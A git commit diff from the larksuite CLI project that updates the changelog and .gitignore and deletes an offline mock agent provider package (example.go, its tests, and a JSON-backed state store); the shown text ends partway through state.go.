feat(slides): 固化 SVGlide raw SVG 发布证据链

- 发布前上传本地 SVG 图片并替换为 file_token，避免线上 slide 丢图

- 增加 raw SVG 发布与图片 token 化测试覆盖

- 增加上线前清理实验壳的清单和硬检查脚本，方便移除 PPE/代理逻辑但保留 raw SVG 契约

.gitignore

@@ -52,8 +52,3 @@ cover*.out
 
 lark-env.sh
 /automations/
-
-# Local-only proof artifacts and coverage reports (never committed)
-coverage.html
-tests_e2e/
-tests_skill_eval/

CHANGELOG.md

@@ -2,6 +2,22 @@
 
 All notable changes to this project will be documented in this file.
 
+## [v1.0.62] - 2026-07-01
+
+### Features
+
+- **vc**: Add meeting message send shortcut (#1643)
+- **doc**: Add document word statistics helper (#1697)
+- **cli**: Interactive upgrade prompt for bare `lark-cli` invocation (#1498)
+- **install**: Fail closed when `checksums.txt` is missing during install (#1503)
+
+### Bug Fixes
+
+- **drive**: Improve batch failure handling for push/pull/sync (#1703)
+- **base**: Support JSON array input for field create (#1661)
+- **task**: Expose completion state in `my tasks` output (#1641)
+- **cli**: Reduce public content credential false positives (#1700)
+
 ## [v1.0.61] - 2026-06-30
 
 ### Features
@@ -1317,6 +1333,7 @@ Bundled AI agent skills for intelligent assistance:
 - Bilingual documentation (English & Chinese).
 - CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
 
+[v1.0.62]: https://github.com/larksuite/cli/releases/tag/v1.0.62
 [v1.0.61]: https://github.com/larksuite/cli/releases/tag/v1.0.61
 [v1.0.60]: https://github.com/larksuite/cli/releases/tag/v1.0.60
 [v1.0.59]: https://github.com/larksuite/cli/releases/tag/v1.0.59

agent/example/example.go

@@ -1,365 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package example is the in-repo agent provider onboarding template and offline
-// demo backend: a hypothetical example business domain whose data / calls are
-// entirely in-memory mocks, with zero network. It has three roles:
-//
-//  1. A copy-start point for new integrators — copy the whole package and rename
-//     it; every key decision point carries a teaching comment from the
-//     "integrator's perspective" (how to fill registration fields, which
-//     capabilities to wire, how to make capability trade-offs);
-//  2. The command tree's offline demo backend — the full agent
-//     list/card/send/task/context chain runs for real without any platform
-//     configuration;
-//  3. A stable mock scheme for cmd-layer tests.
-//
-// Minimal checklist for onboarding a new provider (each item is demonstrated in
-// this package):
-//   - register metadata via agent.Register in init() (see the per-field comments below);
-//   - construct a *agent.Provider in the Factory, wiring one func field per
-//     capability you support — the core Send/GetTask are mandatory, every other
-//     field is optional and "not wired = not supported" (the framework returns a
-//     unified unsupported_capability error and derives the card matrix from what
-//     is wired, so there is no bool matrix to keep in sync and no capability-
-//     refusal code to write);
-//   - a catalog type (KindCatalog) must wire ListAgents (asserted at registration);
-//   - add a blank import under agent/register.go to trigger init registration;
-//   - run agenttest.RunConformance in tests to lock down implicit contracts.
-package example
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-)
-
-// scheme is this provider's ref prefix (example:<agent_id>). It is globally
-// unique; duplicate registration panics during init (aligned with the
-// sql.Register convention, fail-fast to expose onboarding errors).
-const scheme = "example"
-
-// catalog is the full agent set known at registration time. The catalog
-// boilerplate (enumeration / per-agent Card metadata / typed error for unknown
-// ids) is handled by the framework's StaticCatalog; the integrator only declares
-// the descriptive data. Capabilities are NOT declared here — see newProvider,
-// where each agent's supported capabilities are expressed by which Provider func
-// fields the Factory wires.
-var catalog = agent.NewStaticCatalog(scheme, []agent.CatalogEntry{
-	{
-		ID:          "echo",
-		Name:        "复读机",
-		Description: "把你发的话原样复读一遍（同一会话续发时带轮次，证明上下文记忆）。最小能力集示范。",
-	},
-	{
-		ID:          "reporter",
-		Name:        "报表生成器",
-		Description: "对任意请求产出一份内联 CSV 报表 artifact，示范 artifact 下载与任务取消链路。",
-	},
-})
-
-func init() {
-	// Registration contract (internal/agent/registry.go): everything except
-	// RequiredScopes is required; missing / invalid values panic. At registration
-	// time it also constructs a Provider once via a zero-value Deps probe — so the
-	// Factory must accept zero-value Deps and an empty agentID, have no side
-	// effects during construction (no network, no disk), and wire the mandatory
-	// core fields (Send/GetTask) plus, for a catalog type, ListAgents.
-	agent.Register(scheme, agent.ProviderInfo{
-		Factory: newProvider,
-		// Label: the user-facing provider name (the LABEL column in agent list).
-		Label: "Example 演示 agent（内存 mock，零网络）",
-		// AgentRefFormat: the written format of agent_ref, must start with "<scheme>:" (validated at registration).
-		AgentRefFormat: "example:<agent_id>",
-		// AgentIDSource: tells the user / AI where to get the agent_id — key
-		// information for AI-guided onboarding, referenced by the unknown-id hint
-		// and the not-discoverable list hint.
-		AgentIDSource: "运行 lark-cli agent list example 查看内置演示 agent 及其 agent_ref（无需任何平台配置）",
-		// Kind: catalog type. Registration asserts the provider wires ListAgents,
-		// so `agent list example` can enumerate.
-		Kind: agent.KindCatalog,
-		// RequiredScopes: the full set of scopes this provider's real API calls
-		// need. example has zero network and calls no OAPI, so it is empty —
-		// scope preflight (cmd/agent/preflight.go) always passes for the empty
-		// set. A real provider must list every scope used by any verb (preflight
-		// is all-or-nothing).
-		RequiredScopes: nil,
-		// Identities: supported calling identities and their preconditions. The
-		// mock treats user/bot alike; if a real provider has a precondition for
-		// some identity (e.g. a bot needs channel whitelisting), put it in
-		// Precondition and the card passes it through to the AI verbatim.
-		Identities: []agent.IdentitySpec{
-			{Type: agent.IdentityUser},
-			{Type: agent.IdentityBot},
-		},
-	})
-}
-
-// state addresses one agent in the catalog. agentID may be empty — the
-// enumeration path (agent list example) and the registration probe construct a
-// state without an id.
-type state struct {
-	deps    agent.Deps
-	agentID string
-}
-
-// newProvider is the registered Factory. It assembles a *agent.Provider by
-// wiring the func fields for the capabilities this agent supports.
-//
-// Teaching focus — capability is expressed as wiring, per agent:
-//   - Core Send/GetTask are wired unconditionally (mandatory).
-//   - The always-on optionals (ListTasks, the context trio, ListAgents, Describe)
-//     are wired for every agent.
-//   - reporter additionally wires CancelTask + DownloadArtifact and sets
-//     FileInput — echo does not, so echo's card honestly shows task_cancel /
-//     artifact_download / file_input = false. There is no bool matrix: the card
-//     is derived from exactly these fields (internal/agent/card.go DeriveCapabilities).
-//   - A capability you do not wire needs zero refusal code: the command layer
-//     gates on the nil field and returns unified unsupported_capability before
-//     any provider method runs.
-//
-// Teaching point — the Factory does pure assignment only: it does not validate
-// agentID (an unknown id is rejected by catalog.Lookup inside the verbs that use
-// it, and by Describe on the card path; the empty-id probe/enumeration instance
-// must construct successfully) and does not touch deps (the mock has no use for
-// Client/As, but construction must have no side effects either way — the
-// zero-value Deps probe contract).
-func newProvider(deps agent.Deps, agentID string) (*agent.Provider, error) {
-	s := &state{deps: deps, agentID: agentID}
-	p := &agent.Provider{
-		Send:          s.send,
-		GetTask:       s.getTask,
-		ListTasks:     s.listTasks,
-		ListContexts:  s.listContexts,
-		GetContext:    s.getContext,
-		DeleteContext: s.deleteContext,
-		ListAgents:    s.listAgents,
-		Describe:      s.describe,
-	}
-	// Per-agent capability: reporter can be canceled and produces a downloadable
-	// artifact, accepts file input, and may pause a task in input_required; echo
-	// (minimal set) does none of these, so those fields stay nil/false and the
-	// framework reports them unsupported.
-	if agentID == "reporter" {
-		p.CancelTask = s.cancelTask
-		p.DownloadArtifact = s.downloadArtifact
-		p.FileInput = true
-		p.InputRequired = true
-	}
-	return p, nil
-}
-
-// describe supplies the per-agent Card metadata and validates the agent_id
-// (StaticCatalog.Describe returns a typed unknown-id error). Capabilities are
-// derived by the framework from the wired fields, so Describe never touches them.
-func (s *state) describe(ctx context.Context) (*agent.CardInfo, error) {
-	return catalog.Describe(s.agentID)
-}
-
-// listAgents enumerates the catalog: `agent list example` goes here.
-func (s *state) listAgents(ctx context.Context) ([]agent.AgentSummary, error) {
-	return catalog.ListAgents(ctx)
-}
-
-// send sends one message: the first turn generates a context_id to start a new
-// conversation, and --context-id continues within the same conversation. The
-// mock task has no async execution body, so send immediately returns in the
-// completed terminal state — the command layer's meta.next therefore directly
-// gives the terminal-state suggestion "view task detail and artifacts" rather
-// than a polling command.
-//
-// Teaching point (IsTerminal): IsTerminal is filled in here for convenience, but
-// leaving it out would be fine — the command layer's normalizeTask always
-// re-derives this field from State (single source), so a provider filling it in
-// wrong does not affect the watch exit code.
-func (s *state) send(ctx context.Context, in agent.SendInput) (*agent.AgentTask, error) {
-	entry, err := catalog.Lookup(s.agentID)
-	if err != nil {
-		return nil, err
-	}
-	// The mock task is instantly terminal, so there is no "feed input to a running
-	// task" scenario. Continuing via --task-id returns failed_precondition: the
-	// request itself is valid but the target resource's state does not satisfy it
-	// — reading this subtype, the AI knows to "try a different way" (start a new
-	// task) rather than retry as-is. (This is a genuine runtime precondition, not
-	// a capability gate — hence a typed error here, not an unwired field.)
-	if in.TaskID != "" {
-		return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
-			"example 的任务发出即完成（终态），无法向已有任务续发").
-			WithParam("--task-id").
-			WithHint("去掉 --task-id，用 --context-id 在同一会话起新一轮任务")
-	}
-
-	ctxID := in.ContextID
-	if ctxID == "" {
-		// First turn: generate a context_id (the anchor for the multi-turn
-		// context; later sends use it to continue the conversation).
-		ctxID, err = store.createContext(s.agentID, truncateTitle(in.Text))
-		if err != nil {
-			return nil, err
-		}
-	}
-
-	// createTask validates context ownership while holding the lock (an unknown /
-	// cross-agent context id is rejected inside with a typed validation error),
-	// computes the round, and inserts atomically; the build callback only
-	// assembles the task body according to the round.
-	task, err := store.createTask(s.agentID, ctxID, func(round int) agent.AgentTask {
-		var reply string
-		switch entry.ID {
-		case "echo":
-			// Echo the input; from round 2 on, add a round marker to prove
-			// across commands that context memory really works.
-			reply = in.Text
-			if round > 1 {
-				reply = fmt.Sprintf("%s（第 %d 轮）", in.Text, round)
-			}
-		default: // reporter
-			reply = "报表已生成：quarterly_report.csv（见 artifacts，用 task get --artifact <id> -o <path> 下载）"
-			if n := len(in.Files); n > 0 {
-				reply = fmt.Sprintf("已收到 %d 个附件；%s", n, reply)
-			}
-		}
-		t := agent.AgentTask{
-			TaskID:     newID("task"),
-			ContextID:  ctxID,
-			State:      agent.StateCompleted,
-			IsTerminal: true,
-			Messages: []agent.Message{
-				{Role: "user", Parts: []agent.Part{{Type: "text", Text: in.Text}}},
-				{Role: "agent", Parts: []agent.Part{{Type: "text", Text: reply}}},
-			},
-		}
-		if entry.ID == "reporter" {
-			// The artifact exposes only fields the provider can truly deliver
-			// (the contract.go rule: do not create empty shell fields that cannot
-			// be filled): the GetTask stage gives ID + Kind (a coarse-grained type
-			// hint), while the file name / mime are exposed at the
-			// DownloadArtifact stage as suggested_name.
-			t.Artifacts = []agent.Artifact{{ID: newID("art"), Kind: "text"}}
-		}
-		return t
-	})
-	if err != nil {
-		return nil, err
-	}
-	return &task, nil
-}
-
-// getTask queries a single task's state and artifacts (reads the in-memory state machine).
-func (s *state) getTask(ctx context.Context, taskID string) (*agent.AgentTask, error) {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return nil, err
-	}
-	task, err := store.getTask(s.agentID, taskID)
-	if err != nil {
-		return nil, err
-	}
-	return &task, nil
-}
-
-// listTasks lists tasks, optionally filtered by contextID (empty string means no filter).
-func (s *state) listTasks(ctx context.Context, contextID string) ([]agent.TaskSummary, error) {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return nil, err
-	}
-	return store.listTasks(s.agentID, contextID), nil
-}
-
-// cancelTask cancels a task. It is wired only for reporter (task_cancel=true), so
-// echo never reaches it — the command layer gates echo's cancel on the nil field
-// and returns unsupported_capability before any provider code runs. The mock
-// task is completed the moment it is sent, so canceling a terminal task returns a
-// failed_precondition typed error (state not satisfied, exit 2) rather than
-// pretending success — honest error semantics matter as much as honest capability
-// wiring.
-func (s *state) cancelTask(ctx context.Context, taskID string) error {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return err
-	}
-	task, err := store.getTask(s.agentID, taskID)
-	if err != nil {
-		return err
-	}
-	if task.State.IsTerminal() {
-		return errs.NewValidationError(errs.SubtypeFailedPrecondition,
-			"任务 '%s' 已处于终态 %s，无法取消", taskID, task.State).
-			WithHint("终态任务不可取消；用 lark-cli agent task get example:%s %s 查看结果", s.agentID, taskID)
-	}
-	return store.setTaskState(taskID, agent.StateCanceled)
-}
-
-// listContexts lists multi-turn contexts.
-func (s *state) listContexts(ctx context.Context) ([]agent.ContextSummary, error) {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return nil, err
-	}
-	return store.listContexts(s.agentID), nil
-}
-
-// getContext returns a single context's detail (including its task list).
-func (s *state) getContext(ctx context.Context, ctxID string) (*agent.ContextDetail, error) {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return nil, err
-	}
-	return store.getContext(s.agentID, ctxID)
-}
-
-// deleteContext deletes a context (a destructive operation; the --yes gate is in the command layer).
-func (s *state) deleteContext(ctx context.Context, ctxID string) error {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return err
-	}
-	return store.deleteContext(s.agentID, ctxID)
-}
-
-// reportCSV is the fixed content of the reporter artifact (inline text, demonstrating a Bytes-type artifact).
-const reportCSV = "quarter,revenue,cost,margin\n" +
-	"2026Q1,1250,830,0.336\n" +
-	"2026Q2,1410,905,0.358\n"
-
-// downloadArtifact fetches artifact data. It is wired only for reporter
-// (artifact_download=true); echo never reaches it (gated on the nil field).
-// example uses the inline Bytes type (the command layer writes it to disk
-// directly); the URL type (a real provider's signed URL) fills the URL field, and
-// SSRF validation plus the download are handled uniformly by the command layer.
-//
-// Teaching point (suggested_name): ArtifactData.Name is the "server-suggested
-// file name", echoed back only as a suggested_name for the caller to reference
-// when choosing -o — it is untrusted input and must never participate in
-// constructing the local save path (the contract.go rule; the save path is
-// always determined by -o/SafeOutputPath).
-func (s *state) downloadArtifact(ctx context.Context, taskID, artifactID string) (*agent.ArtifactData, error) {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return nil, err
-	}
-	task, err := store.getTask(s.agentID, taskID)
-	if err != nil {
-		return nil, err
-	}
-	for _, a := range task.Artifacts {
-		if a.ID == artifactID {
-			return &agent.ArtifactData{
-				Name:  "quarterly_report.csv",
-				Mime:  "text/csv",
-				Bytes: []byte(reportCSV),
-			}, nil
-		}
-	}
-	return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-		"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
-		WithHint("运行 lark-cli agent task get example:%s %s 查看该任务的 artifacts", s.agentID, taskID)
-}
-
-// truncateTitle takes the first few characters of the message as the
-// conversation title (truncated by rune to avoid cutting a character in half).
-func truncateTitle(s string) string {
-	const max = 20
-	r := []rune(s)
-	if len(r) <= max {
-		return s
-	}
-	return string(r[:max]) + "…"
-}

agent/example/example_test.go

@@ -1,311 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package example
-
-import (
-	"context"
-	"path/filepath"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/agent/agenttest"
-)
-
-// swapStore replaces the package-level store with an isolated instance pointing at
-// t.TempDir, so tests do not pollute each other or the local demo snapshot.
-func swapStore(t *testing.T) {
-	t.Helper()
-	old := store
-	store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
-	t.Cleanup(func() { store = old })
-}
-
-// buildProvider builds an example *Provider with zero-value Deps (the mock never needs a Client).
-func buildProvider(t *testing.T, agentID string) *agent.Provider {
-	t.Helper()
-	p, err := newProvider(agent.Deps{}, agentID)
-	if err != nil {
-		t.Fatalf("newProvider: %v", err)
-	}
-	return p
-}
-
-// TestConformance runs the shared conformance suite: locking registration metadata,
-// the zero-value Deps contract, the single-source Card, and catalog enumeration (the
-// discovery group automatically verifies ListAgents contains example:echo and enumerates stably).
-func TestConformance(t *testing.T) {
-	agenttest.RunConformance(t, scheme, "echo")
-}
-
-// TestConformanceReporter runs it again with reporter, so both catalog entries are locked by the contract.
-func TestConformanceReporter(t *testing.T) {
-	agenttest.RunConformance(t, scheme, "reporter")
-}
-
-// TestCapabilityMatrixDiverges pins the deliberate difference between the two agents'
-// capability matrices (the core of the teaching demo: honest capability declaration
-// plus task_cancel true for one and false for the other).
-func TestCapabilityMatrixDiverges(t *testing.T) {
-	// The card matrix is derived from which Provider fields the Factory wires per
-	// agent, so DeriveCapabilities over the two constructed providers is the
-	// single source under test.
-	ec := agent.DeriveCapabilities(buildProvider(t, "echo"))
-	rc := agent.DeriveCapabilities(buildProvider(t, "reporter"))
-	if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
-		t.Errorf("echo should be the minimal capability set (no artifact/file/cancel), got %+v", ec)
-	}
-	if !ec.MultiTurn || !ec.TaskGet || !ec.TaskList {
-		t.Errorf("echo should support multi_turn/task_get/task_list, got %+v", ec)
-	}
-	if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.InputRequired && rc.MultiTurn && rc.TaskGet && rc.TaskList) {
-		t.Errorf("reporter should have everything enabled, got %+v", rc)
-	}
-}
-
-// TestEchoMultiTurn verifies multi-turn context memory: the first turn echoes the
-// original text and generates a context_id, and a follow-up in the same context
-// echoes with a turn marker.
-func TestEchoMultiTurn(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "echo")
-	ctx := context.Background()
-
-	t1, err := p.Send(ctx, agent.SendInput{Text: "hello"})
-	if err != nil {
-		t.Fatalf("first-turn Send: %v", err)
-	}
-	if t1.State != agent.StateCompleted {
-		t.Fatalf("send should be immediately completed, got %s", t1.State)
-	}
-	if t1.ContextID == "" || t1.TaskID == "" {
-		t.Fatalf("first turn should generate context_id/task_id: %+v", t1)
-	}
-	if got := agentReply(t, t1); got != "hello" {
-		t.Fatalf("first-turn echo should be the original text, got %q", got)
-	}
-
-	t2, err := p.Send(ctx, agent.SendInput{Text: "再来", ContextID: t1.ContextID})
-	if err != nil {
-		t.Fatalf("follow-up Send: %v", err)
-	}
-	if t2.ContextID != t1.ContextID {
-		t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
-	}
-	if got := agentReply(t, t2); got != "再来（第 2 轮）" {
-		t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
-	}
-
-	// GetTask / ListTasks / ListContexts / GetContext read the same state machine.
-	got, err := p.GetTask(ctx, t2.TaskID)
-	if err != nil {
-		t.Fatalf("GetTask: %v", err)
-	}
-	if agentReply(t, got) != "再来（第 2 轮）" {
-		t.Fatalf("GetTask should replay the stored messages, got %+v", got.Messages)
-	}
-	tasks, err := p.ListTasks(ctx, t1.ContextID)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(tasks) != 2 {
-		t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
-	}
-	ctxs, err := p.ListContexts(ctx)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
-		t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
-	}
-	detail, err := p.GetContext(ctx, t1.ContextID)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(detail.Tasks) != 2 {
-		t.Fatalf("context detail should contain 2 tasks, got %+v", detail)
-	}
-}
-
-// TestStateSurvivesReload pins the cross-process semantics: swapping in a new store
-// instance pointing at the same snapshot file (simulating a new CLI process), the task
-// is still queryable -- the offline demo chain depends on this.
-func TestStateSurvivesReload(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "echo")
-	task, err := p.Send(context.Background(), agent.SendInput{Text: "persist"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	// A new store instance = a new process view; only the snapshot file is shared memory.
-	store = newMemoryStore(store.path)
-	got, err := p.GetTask(context.Background(), task.TaskID)
-	if err != nil {
-		t.Fatalf("GetTask after reload: %v", err)
-	}
-	if got.ContextID != task.ContextID {
-		t.Fatalf("task should replay fully after reload: %+v", got)
-	}
-}
-
-// TestReporterArtifactFlow verifies the full artifact chain: send produces {ID, Kind:text},
-// and DownloadArtifact returns inline Bytes + suggested_name.
-func TestReporterArtifactFlow(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "reporter")
-	ctx := context.Background()
-
-	task, err := p.Send(ctx, agent.SendInput{Text: "本季度报表"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(task.Artifacts) != 1 {
-		t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
-	}
-	art := task.Artifacts[0]
-	if art.ID == "" || art.Kind != "text" {
-		t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
-	}
-
-	data, err := p.DownloadArtifact(ctx, task.TaskID, art.ID)
-	if err != nil {
-		t.Fatalf("DownloadArtifact: %v", err)
-	}
-	if data.Name != "quarterly_report.csv" {
-		t.Errorf("suggested_name should be quarterly_report.csv, got %q", data.Name)
-	}
-	if data.Mime != "text/csv" {
-		t.Errorf("mime should be text/csv, got %q", data.Mime)
-	}
-	if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
-		t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
-	}
-
-	// Unknown artifact id -> typed validation error.
-	if _, err := p.DownloadArtifact(ctx, task.TaskID, "art_nope"); err == nil {
-		t.Fatal("unknown artifact id should return an error")
-	} else if _, ok := errs.ProblemOf(err); !ok {
-		t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
-	}
-}
-
-// TestEchoUnwiredCapabilities verifies the new capability model: echo (the
-// minimal set) simply leaves CancelTask / DownloadArtifact unwired and FileInput
-// false. There is no capability-refusal code — the command layer gates on the
-// nil fields and returns unsupported_capability before any provider method runs.
-func TestEchoUnwiredCapabilities(t *testing.T) {
-	p := buildProvider(t, "echo")
-	if p.CancelTask != nil {
-		t.Error("echo should not wire CancelTask (task_cancel=false)")
-	}
-	if p.DownloadArtifact != nil {
-		t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
-	}
-	if p.FileInput {
-		t.Error("echo should not accept file input (file_input=false)")
-	}
-}
-
-// TestReporterCancelTerminal verifies reporter supports cancel but returns a
-// failed_precondition typed error for a terminal task (the mock task is completed
-// as soon as it is sent).
-func TestReporterCancelTerminal(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "reporter")
-	ctx := context.Background()
-	task, err := p.Send(ctx, agent.SendInput{Text: "报表"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	err = p.CancelTask(ctx, task.TaskID)
-	if err == nil {
-		t.Fatal("canceling a terminal task should return an error")
-	}
-	prob, ok := errs.ProblemOf(err)
-	if !ok {
-		t.Fatalf("terminal cancel should be a typed error, got %T: %v", err, err)
-	}
-	if prob.Subtype != errs.SubtypeFailedPrecondition {
-		t.Fatalf("terminal cancel subtype should be failed_precondition, got %s", prob.Subtype)
-	}
-}
-
-// TestUnknownCatalogID verifies an unknown catalog id goes through StaticCatalog.Lookup's
-// typed error (invalid_argument, with a hint pointing to agent list example).
-func TestUnknownCatalogID(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "nonexistent")
-	ctx := context.Background()
-	if _, err := agent.BuildCard(ctx, scheme, "nonexistent", p); err == nil {
-		t.Fatal("BuildCard with an unknown catalog id should return an error (Describe validates the id)")
-	}
-	_, err := p.Send(ctx, agent.SendInput{Text: "hi"})
-	if err == nil {
-		t.Fatal("Send with an unknown catalog id should return an error")
-	}
-	prob, ok := errs.ProblemOf(err)
-	if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
-	}
-}
-
-// TestSendGuards pins Send's two typed rejections: --task-id follow-up (terminal
-// semantics) and an unknown context id.
-func TestSendGuards(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "echo")
-	ctx := context.Background()
-
-	_, err := p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
-	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
-		t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
-	}
-
-	_, err = p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_missing"})
-	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("unknown context id should be invalid_argument, got %v", err)
-	}
-}
-
-// TestDeleteContext verifies deleting a context also cleans up the tasks under it.
-func TestDeleteContext(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "echo")
-	ctx := context.Background()
-	task, err := p.Send(ctx, agent.SendInput{Text: "bye"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if err := p.DeleteContext(ctx, task.ContextID); err != nil {
-		t.Fatal(err)
-	}
-	if _, err := p.GetTask(ctx, task.TaskID); err == nil {
-		t.Fatal("after deleting the context its tasks should be unqueryable")
-	}
-	ctxs, err := p.ListContexts(ctx)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(ctxs) != 0 {
-		t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
-	}
-}
-
-// agentReply returns the first text reply from the agent role in the task.
-func agentReply(t *testing.T, task *agent.AgentTask) string {
-	t.Helper()
-	for _, m := range task.Messages {
-		if m.Role != "agent" {
-			continue
-		}
-		for _, part := range m.Parts {
-			if part.Type == "text" {
-				return part.Text
-			}
-		}
-	}
-	t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
-	return ""
-}

agent/example/state.go

@@ -1,324 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package example
-
-import (
-	"crypto/rand"
-	"encoding/hex"
-	"encoding/json"
-	"os"
-	"path/filepath"
-	"sort"
-	"sync"
-	"time"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/vfs"
-)
-
-// ============================================================================
-// In-memory state machine (teaching focus: concurrency safety of package-level
-// state + the CLI process boundary)
-//
-// A real provider's context/task state lives on the server, so the adapter is
-// naturally stateless; example is a pure mock and must manage state itself. Two
-// disciplines the integrator needs to know:
-//
-//  1. Concurrency safety: provider instances may be constructed / called
-//     concurrently (e.g. list's probe alongside the real call), so package-level
-//     mutable state must be locked. A single coarse-grained Mutex covers all
-//     reads and writes here — the mock does not chase throughput; correctness comes first.
-//  2. CLI process boundary: every lark-cli command is a fresh process, so a pure
-//     in-memory map does not survive a single command — after `send`, a
-//     `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
-//     the in-memory map (under os.TempDir, last-writer-wins) to make the offline
-//     demo chain work across commands. A real provider neither needs nor should
-//     have this layer — it is a mock-only demo device.
-//
-// Note that the snapshot is loaded lazily (only on the first real read/write of
-// state): Register's zero-value Deps probe constructs a provider once at
-// registration time, and construction must have no side effects (the registry.go
-// contract), so Factory / Card / ListAgents must not touch store.
-// ============================================================================
-
-// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
-// + creation sequence number (list output sorts by creation order to guarantee
-// stable enumeration).
-type taskRecord struct {
-	AgentID string          `json:"agent_id"`
-	Seq     int             `json:"seq"`
-	Task    agent.AgentTask `json:"task"`
-}
-
-// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
-// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
-// demonstrate "context memory".
-type contextRecord struct {
-	AgentID   string   `json:"agent_id"`
-	ContextID string   `json:"context_id"`
-	CreatedAt string   `json:"created_at"`
-	Title     string   `json:"title,omitempty"`
-	Seq       int      `json:"seq"`
-	TaskIDs   []string `json:"task_ids"`
-}
-
-// memoryStore is the package-level state machine itself: mu covers all fields;
-// path is the JSON snapshot location; loaded ensures the snapshot is read only
-// once, on first access.
-type memoryStore struct {
-	mu     sync.Mutex
-	path   string
-	loaded bool
-
-	Contexts map[string]*contextRecord `json:"contexts"`
-	Tasks    map[string]*taskRecord    `json:"tasks"`
-	NextSeq  int                       `json:"next_seq"`
-}
-
-// store is the package-level singleton. Tests use swapStoreForTest to replace it
-// with an instance pointing at t.TempDir, avoiding cross-contamination between
-// tests and between tests and the local demo state.
-var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agent.json"))
-
-func newMemoryStore(path string) *memoryStore {
-	return &memoryStore{
-		path:     path,
-		Contexts: map[string]*contextRecord{},
-		Tasks:    map[string]*taskRecord{},
-	}
-}
-
-// loadLocked lazily reads in the snapshot (the caller must already hold the
-// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
-// mock's demo data is not worth erroring over, so it just starts fresh.
-func (s *memoryStore) loadLocked() {
-	if s.loaded {
-		return
-	}
-	s.loaded = true
-	data, err := vfs.ReadFile(s.path)
-	if err != nil {
-		return
-	}
-	var snap memoryStore
-	if json.Unmarshal(data, &snap) != nil {
-		return
-	}
-	if snap.Contexts != nil {
-		s.Contexts = snap.Contexts
-	}
-	if snap.Tasks != nil {
-		s.Tasks = snap.Tasks
-	}
-	s.NextSeq = snap.NextSeq
-}
-
-// saveLocked writes the current state back to the snapshot (the caller must
-// already hold the lock). A write failure returns a typed internal error
-// (storage subtype) — the mock does not swallow errors either: silently losing
-// state would make the next command report "task not found", which is harder to
-// diagnose than a clear error.
-func (s *memoryStore) saveLocked() error {
-	data, err := json.MarshalIndent(s, "", "  ")
-	if err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
-	}
-	if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
-	}
-	return nil
-}
-
-// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
